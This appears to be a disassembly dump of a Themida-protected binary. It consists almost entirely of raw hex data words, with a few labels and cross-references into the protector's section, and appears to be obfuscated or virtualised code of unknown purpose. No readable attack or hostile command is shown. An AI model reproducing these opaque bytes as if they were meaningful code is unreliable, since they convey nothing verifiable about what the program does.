dd 742CC351h, 26ABD6E5h, 0EE9292Dh, 82000000h, 2E41457Fh
dd 0D8CA2C5Fh, 772A7F61h, 0F185899Eh, 6A05E21Dh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 69AC350h, 66B2AB22h, 670E8h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 22C41443h
dd 38C1BEF1h, 85894871h, 5E23045h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 11C35343h, 0E823E580h, 621h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6DC35747h
dd 0FEF0D7E9h, 38716508h, 0AE9B0h, 0EFC10000h, 5680EBB1h
dd 38278D89h, 2A798589h, 6A05E2h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 4C65E5C3h, 3112DA9Ch
dd 0E20E45B5h, 5BBE805h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8D0996C3h, 5E21EE5h
dd 1DC98589h, 958905E2h, 5E22521h, 0BD8B5260h, 5E2263Dh
dd 7EE86158h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 206FC352h, 0F1A71D7h
dd 13E98FA6h, 16000000h, 0DBEF8B80h, 0B3B3E47Fh, 9B002FD0h
dd 0EE3E6466h, 85896CC4h, 5E203DDh, 9D8B6060h, 5E21D09h
dd 8B616160h, 0E205B99Dh, 26E86105h, 1000005h, 0E20A7DB5h
dd 39B50105h, 8905E209h, 0E21D0585h, 0B58B6005h, 5E205D1h
dd 1889958Bh, 0E86105E2h, 501h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 3EC35343h, 0CD858945h, 6A05E22Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0A812C355h, 5B0C23E7h, 960E1B5h, 0E2063595h
dd 0E98D8905h, 6105E22Bh, 0BF0F00B0h, 0D8B60FFEh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BBC35141h, 3C8876EDh
dd 0B12AB15Bh, 6BA95h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0BE944BC3h, 0AC290A6Dh
dd 0C99589BFh, 8B05E200h, 0FA8B66C3h, 6A04E8C1h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0F0DC353h, 0F766F3B7h, 55006AE2h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 156BA231h, 0BC2B92B3h, 0A31AEE81h, 0FB8B1AC6h
dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 35B8EAC3h, 5059F553h, 5E9h, 0B7BF7500h, 1C89D285h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 8D29C8ADh, 5E216E9h, 162195FFh, 0B58905E2h
dd 5E20A21h, 15958D5Bh, 6A05E216h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C75BC353h
dd 8B977028h, 0E214958Dh, 311A8905h, 0E230898Dh, 6E805h
dd 0D5540000h, 2647C710h, 442895Fh, 11D8D8Bh, 8E905E2h
dd 7000000h, 0AE7CB40Dh, 8D063BA3h, 0E21A2D95h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 90989B62h, 8FE5BFB3h, 918D0BF9h, 8905E21Fh, 57006A1Ah
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 45048049h, 4428938h, 68E0Fh, 0BD8B0000h, 5E200D9h, 2CA9958Dh
dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 21EDBCC3h, 814EC711h, 0B1B0B6D7h, 6A1A893Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 74BAC357h, 897B02DBh, 0C7810442h, 11892B7Bh
dd 66D958Dh, 8D8B05E2h, 5E20611h, 1ECD9D01h, 1A8905E2h
dd 89F6BF0Fh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 9C3A60C3h, 0F98B7A48h, 80CDF413h
dd 0BE6655EDh, 958DB5EAh, 5E2326Dh, 1A019D31h, 1A8905E2h
dd 89C88B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 7B650AC3h, 664ED958h, 8D0493B9h
dd 0E2151995h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0C31E0403h, 5500A9B7h
dd 14E8C1E3h, 10000000h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h
dd 4D7100A5h, 0E9E8E707h, 12h, 1D0D6612h, 266AA778h, 0AA93998Eh
dd 0E1995C92h, 895FF2B8h, 1995091Ah, 8905E230h, 6A0442h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 6756A6C3h, 958DC88Bh, 5E21995h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0CCC35242h, 1CA60A48h, 31BD8BC5h
dd 8905E225h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 8145A9E2h, 80AB07D7h, 0FE80Ch, 0C3CD0000h
dd 4376166Ch, 0BF017F5Eh, 3E7CA423h, 2860FB6h, 8B000000h
dd 42895EF1h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 4BEBB2EEh, 8DEC0F40h, 0E2140995h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0C068266Ch, 3B0C8314h, 1B00DF81h, 81601304h
dd 0DF1DDAD2h, 25B58B17h, 6105E22Bh, 6A1A89h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B4EC57C3h
dd 668F43DDh, 81E576A0h, 68691BEFh, 4428975h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h, 0A6625279h
dd 898728E4h, 0E2236DB5h, 10DE905h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 90E8BDC3h
dd 0FF20C723h, 2890F60h, 0B5000000h, 0F576053h, 83h, 880F5A00h
dd 16h, 10E8h, 0A8C32900h, 0B63F4C4Eh, 0B553C1D1h, 0E771AC9h
dd 89615BAAh, 0E20191B5h, 6A006A05h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A8C0C356h
dd 663DC445h, 6AF98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0B9C35545h, 22E98D8Bh, 0BD8B05E2h, 5E21D09h
dd 0F18B006Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0E9A008C3h, 0Dh, 9F5D9B2Dh, 7948B13Ah
dd 2E7DE471h, 0C595FFC3h, 0C305E216h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 11C35141h, 548BE7C0h, 6ECAB287h
dd 1880Fh, 8AF90000h, 6AC08BC5h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8343C350h, 0E21EA9BDh
dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 438B8C0h
dd 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h, 0BD83585Bh
dd 5E21805h, 50177400h, 438B853h, 85890000h, 5E21DD5h
dd 0B0029D8Dh, 0D3FF05E4h, 0BE66585Bh, 0BE9CB76h, 58000000h
dd 11D3560Ah, 0B43B5901h, 0C08B8712h
dword_531F9C dd 0E91858Dh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
; DATA XREF: Themida_:004EE5D4o
dd 150424h, 55450000h, 8B9E8FC3h, 0E20BB59Dh, 14E805h
dd 54610000h, 0D0672615h, 9D737D13h, 0C1087A9Fh, 0ECD13B24h
dd 9D2BF46Eh, 5E21BCDh, 5751905Bh, 810Fh, 5B5B0000h, 6A9050h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AFC35545h
dd 70A636EBh, 85092965h, 5E22465h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 5313DEC3h
dd 32419D89h, 0F5F05E2h, 68Bh, 159D8B00h, 8D05E21Eh, 0E644CB85h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 8163E3EFh, 850105C5h, 5E22169h, 6A05C083h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 9BDFC353h, 0B7508F67h, 24048994h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7BC35646h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 9722FAC3h, 0BE9006Ah, 19000000h, 80415F39h, 0F1B7FBCCh
dd 0DA8B1AA4h, 1E2D95FFh, 0BD8B05E2h, 5E21D35h, 9D808D8Dh
dd 9D8B05E5h, 5E22499h, 0BB66D1FFh, 0BD830BA9h, 5E200B9h
dd 63850F01h, 6A000000h, 0D5852902h, 9005E20Ch, 9E9h, 663D4700h
dd 5491966h, 52503743h, 4808BF66h, 6A905Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FAADDFC3h
dd 19BD89EDh, 6005E20Ah, 89958B60h, 6605E22Ah, 2961C18Bh
dd 0E2113595h, 95FF6105h, 5E214E9h, 331DB589h
db 0E2h, 5
word_532182 dw 92E9h ; DATA XREF: Themida_:004EFE20o
dd 0E800000Dh, 0
dd 0D5ED815Dh, 0E905E644h, 8, 571DD274h, 136F6A36h, 9D78166h
dd 9E858D01h, 8905E58Eh, 0E226A1BDh, 60605005h, 6AEEBF66h
dd 61CF8B66h, 8961CA8Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0C000CEC3h, 35FF643Ch
dd 0
dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 2AF3C357h, 0E9B9A123h
dd 14h, 14C3F5F5h, 5AE5F044h, 21EF7132h, 0E5A08B83h, 0FB83510Ah
dd 1B599589h, 85FF05E2h, 5E22329h, 100DBD23h, 0FF6A05E2h
dd 0FFD98B66h, 0E218EDB5h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F877D7Fh
dd 0C381FEBFh, 207BF862h, 189D95FFh, 0F6E905E2h, 0F000000h
dd 68Eh, 0DDBD8B00h, 0B005E216h, 65BD8B00h, 0E605E200h
dd 859D8970h, 0E405E216h, 75BD3371h, 3C05E22Bh, 0CA830F61h
dd 0F000000h, 0B60FF8BFh, 6BAC8h, 8BF80000h, 7D93BFC1h
dd 0E8C12A6Eh, 0E2F76604h, 0CD9856BBh, 81C82B24h, 2D26AEF3h
dd 80D18B35h, 3E98CF3h, 66000000h, 858BDF8Bh, 5E21615h
dd 12E860h, 3B6E0000h, 0AC0F0023h, 0FA9DC425h, 5478947Dh
dd 0E79C6712h, 61F85AFCh, 0C87EC781h, 0C08317A7h, 0BE907h
dd 7ACA0000h, 0CF4EBD95h, 8CFD1850h, 0C0833Fh, 2CFDB589h
dd 0D03B05E2h, 1A830Fh, 8A0F0000h, 4, 2AAEBF66h, 3CE9h
dd 758D3100h, 6605E208h, 0A12F381h, 4C18D8Bh, 8B6605E2h
dd 1E183FEh, 1F840Fh, 0BD8B0000h, 5E2168Dh, 4C1A583h, 89FE05E2h
dd 0E2161595h, 1800F05h, 0F5000000h, 0E9h, 0EAB58D00h
dd 6A05E5D1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0F6D6C353h, 452B81D1h, 89174325h
dd 0E223C9B5h, 81006A05h, 0D72FF1E3h, 0B995FF17h, 0F05E20Ah
dd 688h, 0BF665600h, 0B95BBD49h, 6CAh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 98C35646h, 0E5BFB390h, 0FCE1838Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h
dd 0E571F1BFh, 6AFC4Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0BD939AC3h, 15D35AECh, 89C02BF5h
dd 0E211359Dh, 0E8D22B05h, 10h, 6E69247Fh, 4736AA0Fh, 59A5112Fh
dd 0E5202D67h, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 51006AF4h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8B6663F3h, 419D01F8h, 0D05E215h, 88h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 79C35343h, 0B07F4706h
dd 0FB8B664Fh, 0BE9958Bh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0D26CFFC3h, 0ED9E28C5h
dd 11E8E5DBh, 0C0000000h, 0A223BDE8h, 844E5035h, 0BF1954B5h
dd 496875CBh, 0D22CBB66h, 618D8B5Fh, 5005E207h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4D8B8EC8h
dd 6DD12A89h, 820F0D73h, 6, 1801B589h, 0BD8305E2h, 5E20D79h
dd 70840F00h, 66000000h, 0F58CF781h, 0B8h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0C0776CB2h, 8BFE04Dh, 3850F60h, 0F000000h, 0B866F2B7h
dd 8D615F18h, 0E24C428Dh, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 72F6E92Ah
dd 0E1FF54BCh, 0F121C1BBh, 0BD953110h, 8305E21Fh, 0E21B55BDh
dd 840F0005h, 403h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0BCC35141h, 0CCC7AFF6h, 36F97410h, 3261BD89h
dd 0BD3305E2h, 5E205A9h, 1B55BD83h, 0F0105E2h, 3E184h
dd 0E1B58900h, 8305E219h, 0E21B55BDh, 860F0305h, 398h
dd 2471BD8Bh, 6A6005E2h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 42AC353h, 66D98B27h
dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 59ABDFC3h, 80AAD83Dh, 6A04E1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 651E4EC3h
dd 2F95BD29h, 800F05E2h, 5, 0D0C38166h, 0FC90AAEh, 11984h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 7A50418Fh, 0A7D9F3C3h, 12E935h, 0C6120000h
dd 89FC4420h, 3E16043Bh, 0C2CDA3A8h, 5FEF8F22h, 241D858Bh
dd 800F05E2h, 0
dd 2AA98533h, 0E89005E2h, 5, 0E2C20D1Dh, 0FA8B6645h, 5E9505Fh
dd 3E000000h, 91388892h, 0BD9D8B90h, 6A05E204h, 445CBB00h
dd 166825DEh, 50E2E43Eh, 0F7BB752h, 8E831h, 3BA60000h
dd 7B7B3E3Bh, 0E6BF9786h, 5F07C0FCh, 481585Ah, 3AC5E924h
dd 7CD6BF1Dh, 95FF6BC4h, 5E20839h, 6E9FE8Bh, 0EE000000h
dd 45236EF5h, 9D85896Dh, 6A05E5BBh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2353C355h
dd 6860Fh, 9D010000h, 5E20E4Dh, 1A3E9h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0E9D3AB09h, 0Eh, 0D9415608h, 0E1CF4535h, 8A71E796h
dd 858B6B74h, 5E5BB95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 89C35747h, 8BDC0C76h, 0E21CD5BDh, 0ED8D8905h
dd 0C705E22Ah, 1800h, 0C7816600h, 0B58B5E6Bh, 5E5BB99h
dd 8BF9B70Fh, 0E200F985h, 0DA8A6005h, 8B068961h, 0E21379BDh
dd 1D858B05h, 6A05E224h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0F0C4C357h, 0AA66A965h
dd 9D035157h, 5E20C71h, 446895Fh, 152D9D23h, 0BF5005E2h
dd 29F95FB1h, 29243489h, 0E226A1B5h, 95B5FF05h, 5005E5BBh
dd 178E0Fh, 11E80000h, 5E000000h, 0C66C5322h, 6446DF6Ah
dd 2F2BA31Eh, 9DE03B35h, 38685B5Bh, 52057C87h, 0D22AC8BBh
dd 34815F24h, 6384C724h, 0BB665705h, 8D5FF57Dh, 0E5BB9D85h
dd 9D8B5305h, 5E20D25h, 5250905Bh, 0BE85250h, 93000000h
dd 127E98C9h, 92F0F99h, 0F5B486Ah, 0F525031h, 5A585A31h
dd 5A310F58h, 52505058h, 8B66310Fh, 90585AFAh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 58C35545h, 1E9FA151h
dd 1D9D8B84h, 8B05E209h, 3995FFFBh, 6A05E208h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 553DC356h, 0DAB13CBEh, 8AAC4C15h, 0FE8B66DCh, 0F59D0161h
dd 0C705E208h, 0E21B5585h, 305h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD83326Bh
dd 5E5BB9Dh, 4D840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C5CCC352h
dd 80FE0F62h, 40E932EFh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 60AAC357h
dd 0F07685A3h, 417EB947h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 81C08B00h, 0B6E596D7h, 19870F3Eh, 0E9000000h
dd 14h, 0DA2D9145h, 0F506C799h, 0A4E64D16h, 9EBACC11h
dd 0BBAAF24Fh, 1B55BD83h, 0F0305E2h, 4A385h, 398D8900h
dd 8305E216h, 0E5BB9DBDh, 840F0005h, 490h, 1F019D8Bh, 0B5FF05E2h
dd 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0F4C35242h, 0AFE781FBh, 0FF79AA95h, 0E2172D95h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 16BEEFh, 0FCF60BB8h, 0C59D8943h, 8B05E210h
dd 0E20FD99Dh, 91B58B05h, 6A05E5BBh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0C7FBC355h
dd 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 9D8BBA79h, 5E20065h, 0DE95250h, 15000000h
dd 0EF60C652h, 2A680066h, 2215B84Ah, 2434895Bh, 5E9h, 114E8700h
dd 0B5FF83B6h, 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 4DC35242h, 74FF946Ah, 0CB81204Eh, 20060EFh
dd 95FFD88Bh, 5E22BD1h, 68B0Fh, 0B5890000h, 5E20A9Dh, 0BB91B58Bh
dd 850105E5h, 5E204A9h, 10DD858Bh, 6A05E2h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8915A0C3h
dd 0C486h, 62D38100h, 8B4493F5h, 0E206819Dh, 0E9958B05h
dd 0F805E20Bh, 3CE5CB81h, 0C28318B5h, 55006A04h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F88B66B3h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 856EC356h, 0A10BF953h
dd 5B53E851h, 5E19D8Bh, 858D05E2h, 5E5CE5Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 33C35242h, 1A1EFD62h
dd 6E9A6h, 0E3E00000h, 0E624A622h, 0B88689h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 466BBC3h, 0BE89FD3h, 8B000000h, 0D781C545h, 0EE2AE4D8h
dd 0F7801E78h, 6A5B35h, 2800Fh, 6AB30000h, 0C800Fh, 8F0F0000h
dd 6, 2621BD8Bh, 0B5FF05E2h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 60C35343h, 0FA64A200h, 68D6105Eh
dd 8D858990h, 0FF05E216h, 0E214E995h, 51006A05h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 19F62EA6h, 0BE9B9h, 0D7C80000h, 61CB1B49h, 9C001A28h
dd 5750964Eh, 5FFA8B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0E23E1036h, 0A0E78166h
dd 9DB5FF07h, 6A05E5BBh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 4378C355h, 2B388238h
dd 14059D89h, 0BD8B05E2h, 5E21DC1h, 2D2195FFh, 6A05E2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 8D6F0C3h, 1102C9CDh, 0AFBF52A2h, 5F17596Bh, 89BD83h
dd 0F0005E2h, 3B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 31FBE60Ah, 50A155EEh
dd 0AFFFBB66h, 66243489h, 8B60DE8Bh, 0E209F58Dh, 0B1858B05h
dd 6105E217h, 0BB9DB5FFh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 958926C3h, 5E21BB1h
dd 41595FFh, 24B705E2h, 0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 94751FC3h
dd 343E0AB0h, 663E2B84h, 40C9F381h, 5FFDC381h, 95FF4D04h
dd 5E20A59h, 49DB8166h, 0CDBD831Fh, 205E224h, 6F840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 7B7594C3h, 10198589h, 858B05E2h, 5E21F35h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h
dd 8BB9BFDAh, 0C61FD7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0C7800AC9h, 0F985C75Eh
dd 5E20Ch, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 4C2CC350h, 70582CB5h, 0FFF36DE9h
dd 57006AFFh, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0D1C04B6Bh, 0F1B1B52Bh, 0DAB70F9Eh, 6AC18Bh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 811B05C3h, 0B116DCC7h
dword_532F18 dd 91858D0Ch, 6A05E20Eh, 3E85200h, 20000000h, 895AC35Ah
; DATA XREF: Themida_:004EE410o
; Themida_:004F0358o
dd 81042454h, 15042444h, 42000000h, 73EFC352h, 4D19D89h
dd 509005E2h, 8800Fh, 0F530000h, 8Ch, 6A905F00h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0E98BC350h, 0Fh, 8214B1AEh, 6D567C7Ch, 0EDD4172h, 6AB48150h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 5C9112E6h, 45A02B46h, 8589D50Ch, 5E21BB5h
dd 9589006Ah, 5E221E9h, 5482858Dh, 0F98A05E6h, 1F05BD89h
dd 0C08305E2h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 6DDB354Fh, 4DB0EDA5h
dd 8B50B650h, 240489FAh, 1D398531h, 6A05E2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 50C35040h, 0A9C107C7h
dd 860Fh, 95890000h, 5E20CF5h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 60CA31C3h
dd 8BA4F180h, 0E22C6DB5h, 0BD2B6105h, 5E2077Dh, 1E2D95FFh
dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 8B2F07C3h, 0E21699BDh, 29BD3305h, 8B05E21Ah
dd 808D8DDEh, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0A8CCC353h, 6AD1FFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0F3992EC3h, 0B492FCFh, 0E232E19Dh, 0B9BD8305h, 105E200h
dd 57850Fh, 0B5310000h, 5E23159h, 0BD8B026Ah, 5E20465h
dd 0DA8B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 54C0C351h, 0E995FFFAh
dd 8B05E214h, 0E20161BDh, 0BE96005h, 50000000h, 0AC312979h
dd 94EC37E7h, 9D2388E9h, 5E221A1h, 0EE4E961h
db 2 dup(0)
word_53313E dw 0E8h ; DATA XREF: Themida_:004EF9F0o
dd 5D000000h, 548CED81h, 0B70F05E6h, 56006ADEh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BF0BBF59h
dd 4CEF26CDh, 9E858DFCh, 6A05E58Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 75D0C353h
dd 4D47346Fh, 0DA8A238Dh, 12E8h, 0C9F9B100h, 95474C76h
dd 4CF16F78h, 0E2F58A48h, 667380EEh, 505FF98Bh, 13E8h
dd 0C13D9800h, 960EEB07h, 0AF98D0A6h, 0E3C101E9h, 0C50EB80Dh
dd 0A38A8CBFh, 4895F62h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0D9B70FF5h, 30A68ABFh
dd 35FF6419h, 0
aBuGWFb8Aadi db '`î;gÏ(`W^fÑ8êaad‰%',0
align 4
aJ_0 db 'j',0
dw 0E853h
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0EC35343h, 0ABDCF2C1h
dd 0CD958952h, 5F05E200h, 61DB589h, 0E95105E2h, 0Fh, 7685A360h
dd 7EB947F0h, 39A5B141h, 5F6CE2D3h, 232985FFh, 0EE905E2h
dd 25000000h, 1F00934Fh, 96EADE56h, 36BB74DAh, 6AFF6A76h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 8006C352h, 8B6BB01Bh, 0E218F5BDh, 119D8B05h
dd 0FF05E214h, 0E210E5B5h, 0F88B6605h, 3241BD89h, 95FF05E2h
dd 5E2189Dh, 132E9h, 5700B000h, 0E8595660h, 7, 0B0344AFEh
dd 5E3468EAh, 70E65B61h, 0C42AD381h, 71E404ADh, 171BD23h
dd 613C05E2h, 105830Fh, 0B60F0000h, 0DE8B66C8h, 4A88DF81h
dd 6BA1666h, 81000000h, 7042D6D7h, 66C18B1Dh, 0C18313BBh
dd 8D8904E8h, 5E21881h, 89E2F766h, 0E2012DBDh, 60C82B05h
dd 6810Fh, 0BD890000h, 5E21CE1h, 0EE9h, 77612000h, 0FA0E471Fh
dd 74C576C0h, 6180629Ch, 0B589D18Bh, 5E20E69h, 6E9h, 819D8B00h
dd 8B05E230h, 0E21A2D85h, 840F5205h, 6, 3B6FC381h, 835B6C2Bh
dd 9D8B07C0h, 5E214B5h, 6600C083h, 0D03BF98Bh, 17830Fh
dd 0BD0B0000h, 5E2226Dh, 1639BD8Bh, 64E905E2h, 8B000000h
dd 0E20B09BDh, 8D8D8B05h, 6605E221h, 83CC88BFh, 840F01E1h
dd 4Bh, 0AE9h, 0A8792100h, 0ED976B14h, 83D8D9DAh, 0E2218DA5h
dd 0DE8BFE05h, 950B5660h, 5E216E1h, 13E95Eh, 3A4E0000h
dd 319454FAh, 250ED851h, 0C9817FDEh, 14745DEEh, 95896147h
dd 5E21A2Dh, 22599D8Bh, 0E905E2h, 8D000000h, 0E5DA66B5h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
